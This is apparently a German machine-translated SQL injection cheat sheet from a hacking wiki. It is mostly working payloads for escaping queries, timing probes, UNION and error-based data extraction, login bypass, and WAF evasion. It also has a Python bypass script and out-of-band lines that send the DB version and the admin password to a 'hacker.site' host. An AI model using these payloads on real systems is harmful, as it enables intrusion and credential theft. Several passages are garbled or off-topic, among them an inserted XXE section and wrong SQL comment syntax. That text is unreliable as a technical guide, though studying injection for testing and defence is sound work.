SQL Injection

SQL Injection

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

​​​​RootedCON ist die relevanteste Cybersicherheitsveranstaltung in Spanien und eine der wichtigsten in Europa. Mit dem Ziel, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin.

Was ist SQL-Injection?

Eine SQL-Injection ist eine Sicherheitslücke, die es Angreifern ermöglicht, in Datenbankabfragen einzugreifen. Diese Schwachstelle kann Angreifern ermöglichen, auf Daten zuzugreifen, die sie nicht sehen, ändern oder löschen sollten, einschließlich Informationen anderer Benutzer oder aller Daten, auf die die Anwendung zugreifen kann. Solche Aktionen können zu dauerhaften Änderungen an der Funktionalität oder dem Inhalt der Anwendung führen oder sogar den Server kompromittieren oder einen Denial-of-Service verursachen.

Erkennung des Einstiegspunkts

Wenn eine Website aufgrund ungewöhnlicher Serverantworten auf SQL-Injections-bezogene Eingaben anfällig für SQL-Injection (SQLi) zu sein scheint, ist der erste Schritt, zu verstehen, wie man Daten in die Abfrage injiziert, ohne sie zu stören. Dazu gehört die Identifizierung der Methode, um effektiv aus dem aktuellen Kontext zu entkommen. Hier sind einige nützliche Beispiele:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

Dann müssen Sie wissen, wie Sie die Abfrage so ändern, dass keine Fehler auftreten. Um die Abfrage zu korrigieren, können Sie Daten eingeben, damit die vorherige Abfrage die neuen Daten akzeptiert, oder Sie können einfach Ihre Daten eingeben und ein Kommentarsymbol am Ende hinzufügen.

Beachten Sie, dass diese Phase einfacher wird, wenn Sie Fehlermeldungen sehen können oder Unterschiede erkennen können, wenn eine Abfrage funktioniert und wenn nicht.

Kommentare

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

Bestätigung mit logischen Operationen

Eine zuverlässige Methode zur Bestätigung einer SQL-Injection-Schwachstelle besteht darin, eine logische Operation auszuführen und die erwarteten Ergebnisse zu beobachten. Wenn beispielsweise ein GET-Parameter wie ?username=Peter den gleichen Inhalt liefert wie ?username=Peter' or '1'='1, deutet dies auf eine SQL-Injection-Schwachstelle hin.

Ebenso dienen mathematische Operationen als effektive Bestätigungstechnik. Wenn zum Beispiel der Zugriff auf ?id=1 und ?id=2-1 das gleiche Ergebnis liefert, deutet dies auf eine SQL-Injection hin.

Beispiele zur Veranschaulichung der Bestätigung mit logischen Operationen:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

Diese Wortliste wurde erstellt, um SQL-Injections auf die vorgeschlagene Weise zu bestätigen:

Bestätigung mit Timing

In einigen Fällen werden Sie keine Veränderung auf der Seite bemerken, die Sie testen. Daher ist eine gute Möglichkeit, blinde SQL-Injections zu entdecken, die Datenbank dazu zu bringen, Aktionen auszuführen, die sich auf die Ladezeit der Seite auswirken. Daher werden wir in der SQL-Abfrage eine Operation hinzufügen, die viel Zeit benötigt, um abgeschlossen zu werden:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

In einigen Fällen sind die Sleep-Funktionen nicht erlaubt. Anstatt diese Funktionen zu verwenden, könnten Sie die Abfrage so gestalten, dass sie komplexe Operationen ausführt, die mehrere Sekunden dauern. Beispiele für diese Techniken werden separat für jede Technologie kommentiert (falls vorhanden).

Identifizierung des Back-Ends

Der beste Weg, das Back-End zu identifizieren, besteht darin, Funktionen der verschiedenen Back-Ends auszuführen. Sie könnten die Sleep-Funktionen aus dem vorherigen Abschnitt verwenden oder diese (Tabelle von payloadsallthethings:

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

Außerdem könnten Sie, wenn Sie Zugriff auf die Ausgabe der Abfrage haben, diese dazu bringen, die Version der Datenbank auszugeben.

Im Folgenden werden wir verschiedene Methoden zur Ausnutzung verschiedener Arten von SQL-Injection diskutieren. Wir werden MySQL als Beispiel verwenden.

Identifizierung mit PortSwigger

Ausnutzung von Union Based

Ermittlung der Anzahl der Spalten

Wenn Sie die Ausgabe der Abfrage sehen können, ist dies der beste Weg, um sie auszunutzen. Zunächst müssen wir die Anzahl der Spalten ermitteln, die die ursprüngliche Anfrage zurückgibt. Dies liegt daran, dass beide Abfragen die gleiche Anzahl von Spalten zurückgeben müssen. Zu diesem Zweck werden in der Regel zwei Methoden verwendet:

Order/Group by

Um die Anzahl der Spalten in einer Abfrage zu ermitteln, passen Sie schrittweise die Anzahl an, die in den Klauseln ORDER BY oder GROUP BY verwendet wird, bis eine falsche Antwort empfangen wird. Trotz der unterschiedlichen Funktionalitäten von GROUP BY und ORDER BY in SQL können beide identisch verwendet werden, um die Anzahl der Spalten in der Abfrage zu ermitteln.

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

Wählen Sie immer mehr Nullwerte aus, bis die Abfrage korrekt ist:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

Sie sollten null-Werte verwenden, da in einigen Fällen der Typ der Spalten auf beiden Seiten der Abfrage gleich sein muss und null in jedem Fall gültig ist.

Extrahieren von Datenbanknamen, Tabellennamen und Spaltennamen

In den folgenden Beispielen werden wir den Namen aller Datenbanken, den Tabellennamen einer Datenbank und die Spaltennamen der Tabelle abrufen:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

Es gibt verschiedene Möglichkeiten, diese Daten in jeder Datenbank zu entdecken, aber die Methodik ist immer die gleiche.

Ausnutzung von versteckten Union-basierten Injektionen

Wenn die Ausgabe einer Abfrage sichtbar ist, aber eine Union-basierte Injektion nicht erreichbar scheint, deutet dies auf das Vorhandensein einer versteckten Union-basierten Injektion hin. Diese Situation führt oft zu einer blinden Injektionssituation. Um eine blinde Injektion in eine Union-basierte Injektion umzuwandeln, muss die Ausführungsabfrage auf der Backend-Seite erkannt werden.

Dies kann durch den Einsatz von blinden Injektionstechniken in Verbindung mit den Standardtabellen, die für Ihr Ziel-Datenbankmanagementsystem (DBMS) spezifisch sind, erreicht werden. Um diese Standardtabellen zu verstehen, wird empfohlen, die Dokumentation des Ziel-DBMS zu konsultieren.

Sobald die Abfrage extrahiert wurde, ist es notwendig, Ihre Nutzlast so anzupassen, dass die ursprüngliche Abfrage sicher geschlossen wird. Anschließend wird eine Union-Abfrage an Ihre Nutzlast angehängt, um die Ausnutzung der neu zugänglichen Union-basierten Injektion zu ermöglichen.

Für umfassendere Einblicke lesen Sie den vollständigen Artikel unter Healing Blind Injections.

Ausnutzung von fehlerbasierten Injektionen

Wenn aus irgendeinem Grund die Ausgabe der Abfrage nicht sichtbar ist, Sie jedoch die Fehlermeldungen sehen können, können Sie diese Fehlermeldungen nutzen, um Daten aus der Datenbank auszufiltern. Folgen Sie einem ähnlichen Ablauf wie bei der Ausnutzung von Union-basierten Injektionen, um die Datenbank zu dumpen.

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Ausnutzung von Blind SQLi

In diesem Fall können Sie die Ergebnisse der Abfrage oder die Fehlermeldungen nicht sehen, aber Sie können erkennen, ob die Abfrage eine wahre oder eine falsche Antwort zurückgibt, da sich der Inhalt auf der Seite unterscheidet. In diesem Fall können Sie dieses Verhalten ausnutzen, um die Datenbank Zeichen für Zeichen auszulesen:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Ausnutzung von Error Blind SQLi

Dies ist der gleiche Fall wie zuvor, aber anstatt zwischen einer wahren/falschen Antwort von der Abfrage zu unterscheiden, können Sie zwischen einem Fehler in der SQL-Abfrage oder nicht unterscheiden (vielleicht weil der HTTP-Server abstürzt). In diesem Fall können Sie also jedes Mal, wenn Sie das Zeichen richtig erraten, einen SQL-Fehler erzwingen:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Ausnutzung von zeitbasiertem SQLi

In diesem Fall gibt es keine Möglichkeit, die Antwort der Abfrage basierend auf dem Kontext der Seite zu unterscheiden. Aber wenn der geratene Buchstabe korrekt ist, können Sie die Seite dazu bringen, länger zum Laden zu benötigen. Wir haben diese Technik bereits zuvor verwendet, um eine SQLi-Schwachstelle zu bestätigen.

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Gestapelte Abfragen

Sie können gestapelte Abfragen verwenden, um mehrere Abfragen nacheinander auszuführen. Beachten Sie, dass während die nachfolgenden Abfragen ausgeführt werden, die Ergebnisse nicht an die Anwendung zurückgegeben werden. Daher ist diese Technik hauptsächlich bei blinden Sicherheitslücken nützlich, bei denen Sie eine zweite Abfrage verwenden können, um einen DNS-Lookup, einen bedingten Fehler oder eine Zeitverzögerung auszulösen.

Oracle unterstützt keine gestapelten Abfragen. MySQL, Microsoft und PostgreSQL unterstützen sie: ABFRAGE-1-HIER; ABFRAGE-2-HIER

Out-of-Band-Ausnutzung

Wenn keine andere Ausnutzungsmethode funktioniert, können Sie versuchen, die Datenbank dazu zu bringen, die Informationen an einen von Ihnen kontrollierten externen Host zu exfiltrieren. Zum Beispiel über DNS-Abfragen:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

Datenexfiltration über XXE mittels Out-of-Band-Kommunikation

Eine andere Methode zur Datenexfiltration bei einer XXE (XML External Entity) Schwachstelle ist die Verwendung von Out-of-Band-Kommunikation. Bei dieser Technik werden die gestohlenen Daten nicht direkt an den Angreifer zurückgesendet, sondern über einen anderen Kommunikationskanal, der nicht direkt mit der verwundbaren Anwendung verbunden ist.

Wie funktioniert es?

  1. Identifizieren Sie eine XXE-Schwachstelle in der Zielanwendung.

  2. Erstellen Sie eine speziell präparierte XML-Datei, die eine externe Entität enthält, die auf die zu exfiltrierenden Daten verweist.

  3. Konfigurieren Sie den externen Entitätsverweis so, dass er eine Anfrage an einen von Ihnen kontrollierten Server sendet.

  4. Richten Sie einen Server ein, der die eingehenden Anfragen empfängt und die exfiltrierten Daten speichert.

  5. Senden Sie die präparierte XML-Datei an die verwundbare Anwendung und überwachen Sie den Server, um die exfiltrierten Daten zu erhalten.

Vorteile der Out-of-Band-Datenexfiltration

  • Vermeidung von Firewalls und anderen Sicherheitsmaßnahmen, die den direkten Datenverkehr blockieren könnten.

  • Reduziertes Risiko der Entdeckung, da die gestohlenen Daten nicht direkt an den Angreifer zurückgesendet werden.

  • Möglichkeit, Daten über verschiedene Kommunikationskanäle wie DNS, HTTP oder FTP zu exfiltrieren.

Beispiele für Out-of-Band-Kommunikationskanäle

  • DNS: Der Angreifer kann den externen Entitätsverweis so konfigurieren, dass er DNS-Anfragen an einen von ihm kontrollierten DNS-Server sendet. Die exfiltrierten Daten können dann in den DNS-Antworten enthalten sein.

  • HTTP: Der Angreifer kann den externen Entitätsverweis so konfigurieren, dass er HTTP-Anfragen an einen von ihm kontrollierten Webserver sendet. Die exfiltrierten Daten können in den Anfrageparametern oder im Antwortinhalt enthalten sein.

  • FTP: Der Angreifer kann den externen Entitätsverweis so konfigurieren, dass er FTP-Anfragen an einen von ihm kontrollierten FTP-Server sendet. Die exfiltrierten Daten können in den Dateien auf dem FTP-Server gespeichert sein.

Gegenmaßnahmen

  • Aktualisieren Sie die verwundbare Anwendung auf die neueste Version, die die XXE-Schwachstelle behebt.

  • Filtern Sie unzuverlässige XML-Entitäten aus den Eingaben der Benutzer.

  • Verwenden Sie eine Whitelist-basierte XML-Verarbeitung, um nur bekannte sichere Entitäten zuzulassen.

  • Überwachen Sie den Netzwerkverkehr auf verdächtige DNS-, HTTP- oder FTP-Anfragen.

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Automatisierte Ausbeutung

Überprüfen Sie das SQLMap Cheetsheat, um eine SQLi-Schwachstelle mit sqlmap auszunutzen.

Technische spezifische Informationen

Wir haben bereits alle Möglichkeiten zur Ausnutzung einer SQL-Injection-Schwachstelle besprochen. In diesem Buch finden Sie weitere Tricks, die von der Datenbanktechnologie abhängig sind:

Oder Sie finden viele Tricks zu MySQL, PostgreSQL, Oracle, MSSQL, SQLite und HQL in https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

​​​​​RootedCON ist die relevanteste Cybersicherheitsveranstaltung in Spanien und eine der wichtigsten in Europa. Mit der Mission, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin.

Authentifizierungsumgehung

Liste zum Versuch, die Anmeldefunktionalität zu umgehen:

Umgehung der Authentifizierung mit Roh-Hash

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Diese Abfrage zeigt eine Schwachstelle auf, wenn MD5 mit true für die Rohausgabe bei Authentifizierungsprüfungen verwendet wird. Dadurch wird das System anfällig für SQL-Injection. Angreifer können dies ausnutzen, indem sie Eingaben erstellen, die beim Hashen unerwartete Teile von SQL-Befehlen erzeugen und so unbefugten Zugriff ermöglichen.

md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

Bypass der Authentifizierung durch injizierte Hashes

In einigen Fällen können Sie die Authentifizierung eines Systems umgehen, indem Sie injizierte Hashes verwenden. Dieser Angriff basiert auf der Schwachstelle einer unsicheren Hash-Überprüfung.

Beschreibung

Bei diesem Angriff wird versucht, die Überprüfung der Benutzeranmeldeinformationen zu umgehen, indem ein injizierter Hash anstelle des tatsächlichen Passworts verwendet wird. Wenn das System die Hash-Überprüfung unsicher implementiert hat, kann dies dazu führen, dass der Angriff erfolgreich ist.

Durchführung

  1. Identifizieren Sie das Anmeldeformular oder die Funktion, die die Benutzeranmeldeinformationen überprüft.

  2. Erfassen Sie den Hash des gewünschten Benutzerkontos.

  3. Injizieren Sie den erfassten Hash in das Anmeldeformular oder die Überprüfungsfunktion.

  4. Senden Sie die Anfrage ab und überprüfen Sie, ob der Angriff erfolgreich war.

  5. Wenn der Angriff erfolgreich war, haben Sie die Authentifizierung umgangen und können auf das System zugreifen.

Gegenmaßnahmen

Um sich vor diesem Angriff zu schützen, sollten folgende Maßnahmen ergriffen werden:

  • Verwenden Sie sichere Hash-Algorithmen und implementieren Sie eine sichere Hash-Überprüfung.

  • Führen Sie regelmäßige Sicherheitsüberprüfungen durch, um Schwachstellen in der Authentifizierung zu identifizieren und zu beheben.

  • Implementieren Sie eine starke Passwortrichtlinie, um die Wahrscheinlichkeit von erfolgreichen Hash-Injektionsangriffen zu verringern.

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Empfohlene Liste:

Verwenden Sie für den Benutzernamen jede Zeile der Liste und als Passwort immer: Pass1234. (Diese Payloads sind auch in der großen Liste enthalten, die am Anfang dieses Abschnitts erwähnt wurde)

GBK-Authentifizierungsumgehung

Wenn ' maskiert wird, können Sie %A8%27 verwenden, und wenn ' maskiert wird, wird es erstellt: 0xA80x5c0x27 (╘')

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Python-Skript:

import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Polyglot-Injektion (Multikontext)

Polyglot-Injektion bezieht sich auf eine Technik, bei der ein einzelner Angriffsvektor in mehreren Kontexten verwendet werden kann. Dies bedeutet, dass derselbe Angriffscode in verschiedenen Datenbankmanagementsystemen (DBMS) funktioniert.

Die Idee hinter der Polyglot-Injektion besteht darin, eine Angriffspayload zu erstellen, die in mehreren DBMS interpretiert werden kann, ohne dass Änderungen am Code erforderlich sind. Dies ermöglicht es dem Angreifer, denselben Angriffsvektor auf verschiedenen Zielsystemen zu verwenden, unabhängig davon, welches DBMS verwendet wird.

Die Polyglot-Injektion kann in verschiedenen Szenarien nützlich sein, insbesondere wenn der Angreifer nicht genau weiß, welches DBMS auf dem Zielsystem verwendet wird. Durch die Verwendung einer Polyglot-Injektion kann der Angreifer sicherstellen, dass der Angriffscode in verschiedenen Umgebungen funktioniert, ohne dass zusätzliche Anpassungen erforderlich sind.

Es ist wichtig zu beachten, dass die Polyglot-Injektion eine fortgeschrittene Technik ist und ein tiefes Verständnis der verschiedenen DBMS und ihrer Syntax erfordert. Es ist auch wichtig, die Auswirkungen und Risiken einer solchen Injektion zu verstehen, da sie zu unerwünschten Folgen führen kann, wie z.B. Datenverlust oder unbefugten Zugriff auf das Zielsystem.

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

INSERT-Anweisung

Passwort eines vorhandenen Objekts/Benutzers ändern

Um dies zu tun, sollten Sie versuchen, ein neues Objekt mit dem Namen des "Hauptobjekts" zu erstellen (wahrscheinlich admin im Falle von Benutzern) und etwas zu ändern:

  • Erstellen Sie einen Benutzer mit dem Namen: AdMIn (Groß- und Kleinschreibung beachten)

  • Erstellen Sie einen Benutzer mit dem Namen: admin=

  • SQL-Truncation-Angriff (wenn es eine Art von Längenbegrenzung für den Benutzernamen oder die E-Mail gibt) --> Erstellen Sie einen Benutzer mit dem Namen: admin [viele Leerzeichen] a

SQL-Truncation-Angriff

Wenn die Datenbank angreifbar ist und die maximale Anzahl von Zeichen für den Benutzernamen zum Beispiel 30 beträgt und Sie den Benutzer admin vortäuschen möchten, versuchen Sie einen Benutzernamen namens: "admin [30 Leerzeichen] a" und ein beliebiges Passwort zu erstellen.

Die Datenbank wird überprüfen, ob der eingegebene Benutzername in der Datenbank existiert. Wenn nicht, wird sie den Benutzernamen auf die maximal zulässige Anzahl von Zeichen kürzen (in diesem Fall auf "admin [25 Leerzeichen]") und automatisch alle Leerzeichen am Ende entfernen, um den Benutzer "admin" mit dem neuen Passwort in der Datenbank zu aktualisieren (es kann ein Fehler auftreten, aber das bedeutet nicht, dass es nicht funktioniert hat).

Weitere Informationen: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Hinweis: Dieser Angriff funktioniert in neueren MySQL-Installationen nicht mehr wie oben beschrieben. Obwohl Vergleiche standardmäßig abschließende Leerzeichen ignorieren, führt der Versuch, einen String einzufügen, der länger ist als die Länge eines Feldes, zu einem Fehler und das Einfügen schlägt fehl. Weitere Informationen zu dieser Überprüfung finden Sie unter: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Insert time based checking

Fügen Sie so viele ','','' hinzu, wie Sie für den Ausstieg aus der VALUES-Anweisung für angemessen halten. Wenn es zu einer Verzögerung kommt, haben Sie eine SQL-Injection.

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

Die ON DUPLICATE KEY UPDATE Klausel in MySQL wird verwendet, um Aktionen festzulegen, die die Datenbank ausführen soll, wenn versucht wird, eine Zeile einzufügen, die zu einem doppelten Wert in einem UNIQUE-Index oder PRIMARY KEY führen würde. Das folgende Beispiel zeigt, wie diese Funktion ausgenutzt werden kann, um das Passwort eines Administrator-Kontos zu ändern:

Beispiel für eine Injection-Payload:

Eine Injection-Payload könnte wie folgt erstellt werden, wobei versucht wird, zwei Zeilen in die Tabelle users einzufügen. Die erste Zeile ist eine Ablenkung, und die zweite Zeile zielt auf die E-Mail eines vorhandenen Administrators ab, mit der Absicht, das Passwort zu aktualisieren:

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

So funktioniert es:

  • Die Abfrage versucht, zwei Zeilen einzufügen: eine für generic_user@example.com und eine weitere für admin_generic@example.com.

  • Wenn die Zeile für admin_generic@example.com bereits existiert, wird die ON DUPLICATE KEY UPDATE-Klausel ausgelöst, die MySQL anweist, das Feld password der vorhandenen Zeile auf "bcrypt_hash_of_newpassword" zu aktualisieren.

  • Folglich kann dann die Authentifizierung mit admin_generic@example.com und dem Passwort, das dem bcrypt-Hash entspricht, versucht werden ("bcrypt_hash_of_newpassword" repräsentiert den bcrypt-Hash des neuen Passworts, der durch den tatsächlichen Hash des gewünschten Passworts ersetzt werden sollte).

Informationen extrahieren

Gleichzeitiges Erstellen von 2 Konten

Beim Versuch, einen neuen Benutzer und Benutzernamen, Passwort und E-Mail zu erstellen, werden folgende Informationen benötigt:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Verwendung von Dezimal- oder Hexadezimalzahlen

Mit dieser Technik können Sie Informationen extrahieren, indem Sie nur 1 Konto erstellen. Es ist wichtig zu beachten, dass Sie nichts kommentieren müssen.

Verwendung von hex2dec und substr:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Um den Text zu erhalten, können Sie Folgendes verwenden:

__import__('binascii').unhexlify(hex(215573607263)[2:])

Verwendung von hex und replace (und substr):

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

RootedCON ist die relevanteste Cybersicherheitsveranstaltung in Spanien und eine der wichtigsten in Europa. Mit der Mission, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin.

Routed SQL-Injection

Bei einer gerouteten SQL-Injection handelt es sich um eine Situation, in der die injizierbare Abfrage nicht diejenige ist, die die Ausgabe liefert, sondern die Ausgabe der injizierbaren Abfrage an die Abfrage geht, die die Ausgabe liefert. (Aus dem Paper)

Beispiel:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF-Bypass

Anfangsbypasses von hier

Bypass ohne Leerzeichen

Kein Leerzeichen (%20) - Bypass unter Verwendung von Leerzeichenalternativen

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

Kein Leerzeichen - Umgehung mit Kommentaren

In einigen Fällen kann es erforderlich sein, SQL-Injection-Angriffe ohne Leerzeichen durchzuführen. Eine Möglichkeit, dies zu erreichen, besteht darin, Kommentare zu verwenden, um den Code zu umgehen.

Kommentare in SQL

In SQL können Kommentare verwendet werden, um Code zu ignorieren oder auszukommentieren. Es gibt zwei Arten von Kommentaren:

  1. Einzeilige Kommentare: Diese beginnen mit "--" oder "//" und erstrecken sich bis zum Ende der Zeile.

  2. Mehrzeilige Kommentare: Diese beginnen mit "/" und enden mit "/". Alles zwischen diesen Zeichen wird als Kommentar behandelt.

Bypassing ohne Leerzeichen

Um SQL-Injection-Angriffe ohne Leerzeichen durchzuführen, können Sie Kommentare verwenden, um den Code zu umgehen. Hier ist ein Beispiel:

SELECT/**/username/**/FROM/**/users/**/WHERE/**/id=1/*

In diesem Beispiel werden Kommentare verwendet, um Leerzeichen zu umgehen. Der Code wird immer noch korrekt interpretiert, da die Kommentare den SQL-Parser dazu bringen, den Code zu ignorieren.

Es ist wichtig zu beachten, dass diese Technik nicht immer funktioniert, da sie von der verwendeten SQL-Datenbank und der Konfiguration abhängt. Es ist ratsam, andere Techniken auszuprobieren, wenn diese Methode nicht erfolgreich ist.

Fazit

Die Verwendung von Kommentaren ist eine Möglichkeit, SQL-Injection-Angriffe ohne Leerzeichen durchzuführen. Diese Technik kann hilfreich sein, wenn Leerzeichen in einem Angriff nicht erlaubt sind. Es ist jedoch wichtig zu beachten, dass diese Methode nicht immer funktioniert und von der verwendeten Datenbank abhängt.

?id=1/*comment*/and/**/1=1/**/--

Kein Leerzeichen - Umgehung mit Klammern

In einigen Fällen kann es erforderlich sein, SQL-Injection-Angriffe durchzuführen, ohne Leerzeichen zu verwenden. Eine Möglichkeit, dies zu erreichen, besteht darin, Klammern zu verwenden.

Beispiel

Angenommen, wir haben folgende SQL-Abfrage:

SELECT * FROM users WHERE username='admin' AND password='password'

Um eine SQL-Injection ohne Leerzeichen durchzuführen, können wir die Klammern verwenden, um die Bedingung zu umschließen. Hier ist ein Beispiel:

SELECT * FROM users WHERE (username='admin')AND(password='password')

Durch das Hinzufügen der Klammern um die Bedingungen können wir die SQL-Injection erfolgreich durchführen, ohne Leerzeichen zu verwenden.

Es ist wichtig zu beachten, dass diese Technik nicht in allen Fällen funktioniert. Es hängt von der Art der verwendeten SQL-Abfrage und der Konfiguration des Zielsystems ab. Es ist immer ratsam, verschiedene Techniken auszuprobieren und die Ergebnisse zu überprüfen, um die beste Methode für den spezifischen Fall zu finden.

?id=(1)and(1)=(1)--

Keine Kommas umgehen

Keine Kommas - Umgehung durch Verwendung von OFFSET, FROM und JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Generische Umgehungen

Schwarze Liste mit Schlüsselwörtern - Umgehung durch Verwendung von Groß-/Kleinschreibung

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Schwarze Liste mit Schlüsselwörtern (Groß-/Kleinschreibung ignorieren) - Umgehung durch Verwendung eines äquivalenten Operators

